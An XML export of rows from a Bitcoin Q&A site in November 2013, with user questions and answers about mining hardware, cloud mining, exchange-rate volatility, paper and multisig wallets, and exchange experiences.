  <row Id="15492" PostTypeId="1" AcceptedAnswerId="16493" CreationDate="2013-11-09T17:38:20.047" Score="-4" ViewCount="2006" Body="&lt;p&gt;I have four questions about the general mining bitcoin  in the cloud.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have a unlimited bandwith web hosting . Can i mining bitcoin with web host ? (my web host support : CGI, PHP, ASP.NET, SSI, FrontPage Extensions, Perl, Python, Ruby)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can i mining bitcoin in heroku or google app engine or amazon aws ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7637" LastEditorUserId="5406" LastEditDate="2016-04-28T14:42:55.367" LastActivityDate="2016-04-28T14:42:55.367" Title="4 Questions for mining bitcoin in cloud" Tags="|mining-setup|cloud-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-09T21:27:30.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="15493" PostTypeId="2" ParentId="14488" CreationDate="2013-11-09T17:39:30.890" Score="2" Body="&lt;p&gt;1) all orders are visible.&#xA;2) yes, you can get order feeds.&#xA;3) both. Market orders act like limit orders at what was market price.&#xA;4) yes, it had better do that.&#xA;5) no need for market makers.&#xA;6) Mtgox is too slow in general to worry about network latency.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T17:39:30.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15494" PostTypeId="2" ParentId="15490" CreationDate="2013-11-09T17:51:36.233" Score="0" Body="&lt;p&gt;People are controlled through their money, and fiat currencies eventually fail. Bitcoin is an option to maintain capital without resorting to hostility. &quot;Quantitive easing&quot; is a fancy name for distributed theft. Theft is bad even when people claim a greater good. &lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T17:51:36.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16489" PostTypeId="2" ParentId="14479" CreationDate="2013-11-09T18:12:13.683" Score="2" Body="&lt;p&gt;You'd have use your private key to spend from the &quot;savings&quot; wallet. Your private key is then at risk least as many kinds of hacks as you used the private/paper/offline/savings wallet to avoid. To preserve the safety, it is recommended that you send coins to a fresh &quot;savings&quot; wallet that has had no chance of being known to a hacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you test a savings wallet? You can build confidence by using a test wallet only for small amounts that you do not keep there. You won't be able to test that the private key works on your real savings wallet without the risk that comes with using the private key. Some QR code scanners unhelpfully search the internet for what is scanned.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T18:12:13.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16490" PostTypeId="1" CreationDate="2013-11-09T18:14:51.627" Score="5" ViewCount="17149" Body="&lt;p&gt;All ASIC for Bitcoin do a double SHA256 hash on an arbitrary string. But maybe they might be used for pen testing :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume we have single SHA256 hash we want to crack. We also have an ASIC that does double SHA256. Well if we compare results computed by double SHA256 to passwords that generated SHA256 hash we will get nothing. But what if we do single SHA256 on SHA256 hash that we got on start using CPU, and then try to find SHA(SHA256(x))? If we find goodX it would be our password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would modifying firmware, or just mining proxy that feeds miner with work do the job?&lt;/p&gt;&#xA;" OwnerUserId="8637" LastEditorUserId="2306" LastEditDate="2015-03-24T21:23:11.453" LastActivityDate="2023-08-17T16:39:13.057" Title="Using ASIC for password cracking - mad concept?" Tags="|asic|sha256|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16491" PostTypeId="2" ParentId="14471" CreationDate="2013-11-09T18:25:01.717" Score="0" Body="&lt;p&gt;There are many examples of this. This is where you'd read about them: &lt;a href=&quot;https://bitcointalk.org/index.php?board=78.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?board=78.0&lt;/a&gt;. The US Government doing what they can to deny access to US citizens. The government of this free country doesn't like it when people have money outside of their control. You'll read that both BTC-TC and bitfunder were recently threatened out of business even though they were based in Belize. Of course, the US Government won't allow something so unregulated within the borders either.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T18:25:01.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16492" PostTypeId="1" CreationDate="2013-11-09T18:27:19.803" Score="8" ViewCount="1583" Body="&lt;p&gt;Is it possible to stabilize exchange rate(s) of Bitcoin to FIAT currencies (USD, EUR etc.) and make the rates less volatile only by raising the market capitalization (more people buy/invest in Bitcoin so it will be less vulnerable to big buys/sells) or are there other options?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="3120" LastEditDate="2013-11-11T19:54:14.833" LastActivityDate="2022-04-29T07:47:59.770" Title="How to stabilize Bitcoin's exchange rate (reduce volatility)?" Tags="|currencies|exchange-rate|market|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16493" PostTypeId="2" ParentId="15492" CreationDate="2013-11-09T18:28:54.330" Score="1" Body="&lt;p&gt;While it may be possible, it would most certainly cost you your account with any knowledgeable web host. Even if you could get a miner to run, it will peg the CPU and make the rest of the machine unusable, impacting performance for other users on shared hosting and not really be beneficial on dedicated or VPS hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please don't do this. It's not the way to do it and the return will not be worth it for anyone involved.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-09T18:28:54.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16494" PostTypeId="2" ParentId="14468" CreationDate="2013-11-09T18:33:58.560" Score="1" Body="&lt;p&gt;Prices are determined by free market forces. The free market prices coins different on each exchange due to liquidity, fees, fiat conversion options, and terms. Prices follow similar patterns over time, but it is traders that determine what the price is. &lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T18:33:58.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16495" PostTypeId="2" ParentId="16492" CreationDate="2013-11-09T18:39:01.003" Score="-1" Body="&lt;p&gt;I believe that more money will be there in bitcoin, more stabilized it will be to big buys/sells.&lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2013-11-09T18:39:01.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16496" PostTypeId="2" ParentId="16492" CreationDate="2013-11-09T18:57:56.223" Score="2" Body="&lt;p&gt;The way to reduce volatility is by giving a greater incentive to profit (and lose) from volatility. Options do this by rewarding trades that best follow discovery of the true market prices of the underlying product. Time to expiry allows leverage choices. The options are also market participants, so the effect is to stabilize prices while rewarding the best trades. The large bitcoin exchanges don't offer options trading. &lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T18:57:56.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16497" PostTypeId="2" ParentId="16490" CreationDate="2013-11-09T19:16:10.927" Score="0" Body="&lt;p&gt;A double hash brings you no closer to cracking the first one. Each hash makes the source harder to determine. There are an infinite number of sources that can produce the same hash value. An ASIC could aid a dictionary attack.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T19:16:10.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16498" PostTypeId="2" ParentId="14461" CreationDate="2013-11-09T19:23:47.723" Score="2" Body="&lt;p&gt;I think the concern was that a p2p node is easier to falsify than a solution that requires great effort. &lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T19:23:47.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16499" PostTypeId="2" ParentId="14417" CreationDate="2013-11-09T19:36:34.663" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Does it mean that bitcoin has burnt some billions of dollar worth of resources?&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because gold is sitting in a vault, does that mean that some billions of dollars worth of resources were not spent to get it there? The gold may have been reformed a hundred times and been involved in dozens of wars. Any form of money should be worthy of costs to obtain it. That which is given without cost is a trick to extract a cost later. It is not unethical to have or want, but to take which has not been earned by just means.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T19:36:34.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16500" PostTypeId="2" ParentId="14372" CreationDate="2013-11-09T19:45:48.590" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just print out a paper wallet and send your gift to that address. There are much easier wallets for your friend to use than bitcoin-qt. Mycelium is a nice one because it allows someone to spend directly from a private key (printed on the paper wallet).&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T19:45:48.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16501" PostTypeId="2" ParentId="14367" CreationDate="2013-11-09T19:58:21.177" Score="1" Body="&lt;p&gt;MtGox is a roach sack of bugs. People start with it for liquidity and fame, but it is the least reliable bitcoin exchange. Anything else is better.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-09T19:58:21.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16502" PostTypeId="1" AcceptedAnswerId="16505" CreationDate="2013-11-09T20:17:59.050" Score="3" ViewCount="2372" Body="&lt;p&gt;I was looking into the best tools for bitcoin mining and found out that GPUs are a better tool for bitcoin mining than CPU's. What is the reason for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;furthermore, I found dedicated chips that can only be used for bitcoin mining. How come that these relative small chips are far superior to the best intel/amd/Nvidia chips?&lt;/p&gt;&#xA;" OwnerUserId="8640" LastEditorUserId="5406" LastEditDate="2016-04-28T12:42:19.593" LastActivityDate="2016-04-28T12:42:19.593" Title="Why is a GPU a better tool for bitcoin mining than a CPU and is an FPGA better than both?" Tags="|mining-theory|gpu-mining|cpu-mining|fpga|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16504" PostTypeId="2" ParentId="16502" CreationDate="2013-11-09T20:26:36.067" Score="-3" Body="&lt;p&gt;Different chip architecture make it designed to do Bitcoin mining more effectively&lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2013-11-09T20:26:36.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16505" PostTypeId="2" ParentId="16502" CreationDate="2013-11-09T21:05:21.873" Score="3" Body="&lt;p&gt;Bitcoin mining is essentially just the repeated calculation of sha256 checksums. Given that sha256 is a fairly simple algorithm that uses only basic integer calculations absolutely any processor core should be capable of churning out sha256 checksums very quickly and any added complexity beyond the basic instructions required for sha256 is wasted. To that end the ideal candidate for mining hardware should have the least complex cores necessary for sha256 but the largest possible number of cores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your CPU has probably between 2 and 8 cores, each of them insanely complex. Your GPU has comparatively simple cores, but probably has over a thousand of them. Still, even GPU cores are more complex than they need to be for sha256, which is where FPGAs and ASICs come in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ASIC is a custom chip, designed to do only one thing - in this case it's designed to perform two rounds of sha256. It has only the necessary components for its one and only purpose. An FPGA is a device commonly used to prototype ASICs, it's basically a chip whose components can be rearranged to mimic another kind of chip. Because they retain this multi-purpose capability FPGAs are significantly less efficient than ASICs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only (temporary) benefit we saw from FPGAs is the cost curve. FPGAs are pre-manufactured consumer devices, you can buy just one of them and they usually don't cost a huge amount of money. An ASIC is something you have manufactured, and the minimum order size is usually absurd, requiring a huge up-front investment to get your chips made.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-09T21:05:21.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16506" PostTypeId="2" ParentId="16490" CreationDate="2013-11-09T21:09:30.013" Score="1" Body="&lt;p&gt;Most mining ASICs are hard-coded to perform sha256(sha256(x)) which may as well be a random number with regard to sha256(x). The only way in which an ASIC would be useful for password cracking is if someone happened to be using sha256(sha256(password)) as their scheme, which to my knowledge is not in popular use anywhere.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-09T21:09:30.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16507" PostTypeId="2" ParentId="16492" CreationDate="2013-11-10T00:23:06.840" Score="8" Body="&lt;p&gt;The Bitcoin price is the result of a free market. There is no central authority that could by order &quot;pump money into the system&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This currently happens anyway - but decentralized. When more people buy Bitcoins the market cap increases. With a higher market cap a single trade has a lesser effect on the price. Therefore, over time when Bitcoin attracts more users and investors, volatility will go down. There is no need for a centralized intervention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin can also be compared to small cap stocks or currencies of small countries. These types of assets are known for their high volatility. Large cap stocks on the contrary show a significantly smaller volatility due to the above stated reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more in depth treatment of these arguments, read this article on &lt;a href=&quot;http://bitcoinmagazine.com/6543/bitcoin-volatility-analysis/&quot;&gt;Bitcoin volatility&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-11-10T00:23:06.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16508" PostTypeId="2" ParentId="14461" CreationDate="2013-11-10T01:45:58.197" Score="2" Body="&lt;p&gt;With mining that takes time, synchronization gets easier. Forks happen in the blockchain and these forks need to be resolved, where the nodes select the chain that is longest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very hard for distributed nodes to resolve and come to an agreement if new blocks are added to forked blockchains simultaneously at high speed in different parts of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason is if several miners work on similar blocks, it is unlikely that they will finish at the same time, since the random number that generates a small enough hash could come at any time, which most likely means very different times for different miners, so one wins clearly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is how I understand the need for mining.&lt;/p&gt;&#xA;" OwnerUserId="8644" LastActivityDate="2013-11-10T01:45:58.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16511" PostTypeId="1" AcceptedAnswerId="16516" CreationDate="2013-11-10T02:52:24.310" Score="2" ViewCount="604" Body="&lt;p&gt;I believe it's possible to send money to an address that requires two signatures to spend.  But I am trying to figure out how this can be done with paper wallets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding of multi-signature transactions: I can generate two keypairs, using two different machines and saving them in two different places.  Then funds could be transferred to the combined address, where they could only be unlocked by the presence of both private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, can this be done with ordinary paper wallets, such as from bitaddress.org?  Can I print a paper wallet, and have a friend also print a paper wallet, and then send money to the combined address so that both papers are required to redeem?  Is it as simple as that?  (If so, do any clients support this now?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there some additional software needed to create the combined address?  Can it be done without bringing the two private keys together?&lt;/p&gt;&#xA;" OwnerUserId="8646" LastActivityDate="2017-12-13T22:09:38.583" Title="Double-signature paper wallets?" Tags="|multi-signature|paper-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16512" PostTypeId="2" ParentId="14487" CreationDate="2013-11-10T04:06:27.657" Score="1" Body="&lt;p&gt;This means your pool server has accepted one block, generated your CPU, third thread, of difficulty 288 (with a minimum of two).&lt;/p&gt;&#xA;" OwnerUserId="8648" LastActivityDate="2013-11-10T04:06:27.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16513" PostTypeId="2" ParentId="14195" CreationDate="2013-11-10T07:23:35.070" Score="4" Body="&lt;p&gt;Coinbase did not defraud you. I've done over 500 transactions with Coinbase since July 2013. They are a legitimate Venture Capital funded startup. They do however make mistakes / have bugs in their software. However they always straighten everything out after I submit support tickets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once they made a mistake that I submitted a support ticket about requesting they fix it. By the time they responded fixing the mistake would have cost me a few hundred and made them a few hundred, but they gave me the option to fix it or keep things the same, which I opted to do since it helped me out by a few hundred dollars.&lt;/p&gt;&#xA;" OwnerUserId="841" LastActivityDate="2013-11-10T07:23:35.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16516" PostTypeId="2" ParentId="16511" CreationDate="2013-11-10T09:40:03.873" Score="1" Body="&lt;p&gt;This is basically correct. Your main challenge is that the current way to do multisig transactions references the public keys rather than just the addresses. Therefore when you generate the paper wallets, you need to take note of the public keys. Then you can input those into the bitcoin-qt console to generate the multisig address (there's a worked example by Gavin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that using the funds in the multisig does not require the two private keys to exist together in the same machine, rather you just need to generate a signature using each (on separate machine).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-10T09:40:03.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16519" PostTypeId="1" CreationDate="2013-11-10T11:35:50.973" Score="2" ViewCount="81" Body="&lt;p&gt;I am going through couple of good sources (mainly &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Main_Page&lt;/a&gt;), which one do you think is the best suited for technical as well as business scope?&lt;/p&gt;&#xA;" OwnerUserId="8656" LastActivityDate="2013-11-10T11:35:50.973" Title="What is the most comprehensive source to get started with Bitcoin?" Tags="|currencies|commerce|" AnswerCount="0" CommentCount="0" ClosedDate="2014-03-02T22:26:26.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="16520" PostTypeId="1" CreationDate="2013-11-10T15:14:10.347" Score="1" ViewCount="48932" Body="&lt;p&gt;I have a HP Pavilion G6-2313AX Laptop with &#xA;Processor  : APU Quad Core A10 and&#xA;Graphics  : 512 MB AMD Radeon HD 7660G (Integrated) and 2 GB ATI Mobility Radeon 7670M HD Graphics (Dedicated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know both specifications are not enough for dedicated mining. But I'm interested in it and just want to try mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="8658" LastEditorUserId="5406" LastEditDate="2016-03-17T15:48:34.653" LastActivityDate="2016-03-17T15:48:34.653" Title="What should I choose - GPU Mining or CPU Mining?" Tags="|gpu-mining|cpu-mining|" AnswerCount="4" CommentCount="0" ClosedDate="2013-11-25T04:27:31.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="16522" PostTypeId="1" CreationDate="2013-11-10T16:05:01.573" Score="1" ViewCount="215" Body="&lt;p&gt;It appears that my computer discovered a block i.e. bfgminer printed an &lt;em&gt;Accepted&lt;/em&gt; line, but in my &lt;em&gt;BTC Guild&lt;/em&gt; account there is no evidence of this and in fact, their records of when my computer last took part in the pool are wrong. &#xA;Given the hex number of my block, is there any way for me to track down the block to find out what happened to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Turns out the Accepted share was a test share, used to detect botnet machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7502" LastEditorUserId="7502" LastEditDate="2013-11-12T04:06:59.607" LastActivityDate="2013-11-12T04:06:59.607" Title="My pool shows no evidence of block that my computer discovered" Tags="|mining-pools|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16523" PostTypeId="2" ParentId="14446" CreationDate="2013-11-10T16:27:53.183" Score="4" Body="&lt;p&gt;The cryptography Bitcoin uses for wallet private keys is ECDSA, using curve secp256k1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Elliptic_Curve_Digital_Signature_Algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is for signing messages, and does not useful for any method of encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other methods of encrypting and communicating a message, ... &lt;a href=&quot;http://gli.ph&quot; rel=&quot;nofollow&quot;&gt;Gli.ph&lt;/a&gt;, &lt;a href=&quot;http://bitmessage.org&quot; rel=&quot;nofollow&quot;&gt;BitMessage&lt;/a&gt;, GPG/OpenPGP, and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you trusted the party you are sending funds to, that party could use the message signing capability in the client to sign a message that tells you what GPG key to use in encrypting a message to that party, for instance.  That would give you the assurance that you are encrypting a message truly only readable by the party that has control of that Bitcoin address and signed the message.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="208" LastEditDate="2015-07-17T23:22:52.393" LastActivityDate="2015-07-17T23:22:52.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16524" PostTypeId="2" ParentId="16520" CreationDate="2013-11-10T17:27:09.323" Score="2" Body="&lt;p&gt;Bitcoin mining with either CPU or GPU looses money on account of the amount you spend on power is greater then your expected returns. GPU mining is still profitable for mining some alt-coins such as &lt;a href=&quot;https://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;litecoin&lt;/a&gt; but likewise CPU mining losses money in these instances as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your interested in getting started mining, I would recommend GPU mining either feather coin or litecoin. Anything else will likely loose you money.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-10T17:27:09.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16525" PostTypeId="2" ParentId="16520" CreationDate="2013-11-10T18:04:12.610" Score="1" Body="&lt;p&gt;CPU mining is just a novelty, but you can start there. But beware: if you are using a laptop, you risk damaging it with excessive heat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPU mining is faster but to be successful you'll need a high-end graphics card in a desktop computer and those cards are $1000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even then, GPU mining is rather inefficient compared to desktop ASIC boxes.&lt;/p&gt;&#xA;" OwnerUserId="7502" LastActivityDate="2013-11-10T18:04:12.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16526" PostTypeId="1" AcceptedAnswerId="16548" CreationDate="2013-11-10T19:30:24.783" Score="7" ViewCount="21939" Body="&lt;p&gt;At the time I write this, there are a lot of people getting into Bitcoin mining for the first time. Many buy ASIC hardware and are later surprised that their mining income suddenly drops due to a difficulty increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I mine &lt;code&gt;X bitcoins&lt;/code&gt; per day, then the difficulty goes up &lt;code&gt;Y percent&lt;/code&gt;, how many coins do I get per day after this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if my hashrate brings 1 BTC per day and the difficulty rises 30%, what is my average daily mining income with the same hashrate after this change in difficulty?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="5406" LastEditDate="2016-01-20T20:19:28.397" LastActivityDate="2017-11-10T18:07:32.223" Title="How does a difficulty increase affect a miner's income?" Tags="|difficulty|mining-profitability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16527" PostTypeId="1" CreationDate="2013-11-10T19:32:07.347" Score="0" ViewCount="325" Body="&lt;p&gt;Can this be done or do everyone updating their client everytime a new version is announced on bitcoin.org has to re-do the whole process over again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On OS X, (probably with the other two OS's as well) blockchain data is kept on a seperate directory in ~/Library/Application Support/Bitcoin ; however a new version of the client needs to reindex the whole thing over again- which is a super time-consuming process..&lt;/p&gt;&#xA;" OwnerUserId="1560" LastEditorUserId="1560" LastEditDate="2013-11-10T20:15:27.987" LastActivityDate="2013-11-11T00:34:42.880" Title="Keeping the blockchain index after Bitcoin-Qt upgrade" Tags="|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16528" PostTypeId="1" CreationDate="2013-11-10T19:41:55.383" Score="6" ViewCount="3186" Body="&lt;p&gt;I transferred 10 btc from my Coinbase acct to my wallet.  The transaction appears twice in my wallet, one went right through and confirmed within minutes, the other has 0 confirmations (after 2 weeks), and the transaction ID does not show up on blockchain.  So I got my bitcoins, but now I have this &quot;phantom&quot; unconfirmed transaction in my wallet.  How do I get rid if it?&lt;/p&gt;&#xA;" OwnerUserId="8661" LastActivityDate="2014-07-11T14:38:15.030" Title="How to remove unconfirmed, non-existent transaction from QT wallet" Tags="|transactions|unconfirmed-transactions|" AnswerCount="2" CommentCount="0" ClosedDate="2017-06-08T01:48:02.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="16529" PostTypeId="2" ParentId="16520" CreationDate="2013-11-10T19:44:30.950" Score="6" Body="&lt;p&gt;It is likely that neither is profitable for you, because ASIC miners are alot more effective than any GPU mining, which in turn is alot faster than CPU mining. But don't take my word for it. &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_Hardware_Comparison&quot; rel=&quot;nofollow&quot;&gt;This hardware comparison wiki&lt;/a&gt; is a good source to make an initial estimate. There is one entry listing the combination of an A10 and a HD7660G GPU, claiming to get 105 MHash/s just from the graphics card (and not listing any value for the CPU).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't deter you---at 100 MHash/s you are looking at an expected average reward of less than a dollar per month, probably less than the electricity your computer needs is worth---please consider updating that wiki with the performance you are getting.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-13T13:26:10.123" LastActivityDate="2013-11-13T13:26:10.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16530" PostTypeId="1" CreationDate="2013-11-10T19:55:49.807" Score="1" ViewCount="92" Body="&lt;p&gt;Why I'm receiving always zero in the txn_count field of the block message after calling it with a getdata ? Is this expected ? How can I get the transactions present in a block ?&lt;/p&gt;&#xA;" OwnerUserId="8662" LastActivityDate="2013-11-10T23:19:06.337" Title="Why the txn_count is zero in the block message?" Tags="|protocol|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16532" PostTypeId="2" ParentId="16520" CreationDate="2013-11-10T20:13:52.293" Score="5" Body="&lt;p&gt;CPU mining is &lt;strong&gt;DEAD&lt;/strong&gt;. GPU mining is &lt;strong&gt;DEAD&lt;/strong&gt;. Even  &lt;strong&gt;FPGA mining is DEAD&lt;/strong&gt; !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC's ? &#xA;Yes them still can be profitable. But..... ONLY if you can get your ASIC  cheap.&#xA;Here are the maximum prices you can pay for ASIC, and still have some hopes to get ROI in 3-4 month:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;40+ GHs for 1BTC - if you get your machine TODAY&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;75+ GH/BTC - if ASIC delivered within 1 month&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;160+ GH/BTC - if ASIC delivered within 2 month&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why ROI in 3-4 month?&lt;br&gt;&#xA;Because if it takes longer, most likelly you will never get your money back&#xA;Never forget this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6GERC.png&quot; rel=&quot;noreferrer&quot;&gt;https://i.stack.imgur.com/6GERC.png&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xLPGn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8664" LastActivityDate="2013-11-10T20:13:52.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16534" PostTypeId="1" CreationDate="2013-11-10T20:42:23.650" Score="0" ViewCount="716" Body="&lt;p&gt;One of my transactions didn't get confirmed. So I followed this: &lt;a href=&quot;http://multibit.org/help_resetBlockchain.html&quot; rel=&quot;nofollow&quot;&gt;http://multibit.org/help_resetBlockchain.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now my coins are gone :-S where can I find them?&lt;/p&gt;&#xA;" OwnerUserId="7618" LastActivityDate="2014-02-09T12:21:53.350" Title="Where are my coins after restart of blockchain and transactions (Multibit)" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16535" PostTypeId="2" ParentId="14481" CreationDate="2013-11-10T21:31:41.717" Score="0" Body="&lt;p&gt;Eventually 20 BTC arrived. But not from THAT transaction. Maybe MtGox realising that they made an error sent another extra 20. Weird.&lt;/p&gt;&#xA;" OwnerUserId="7630" LastActivityDate="2013-11-10T21:31:41.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
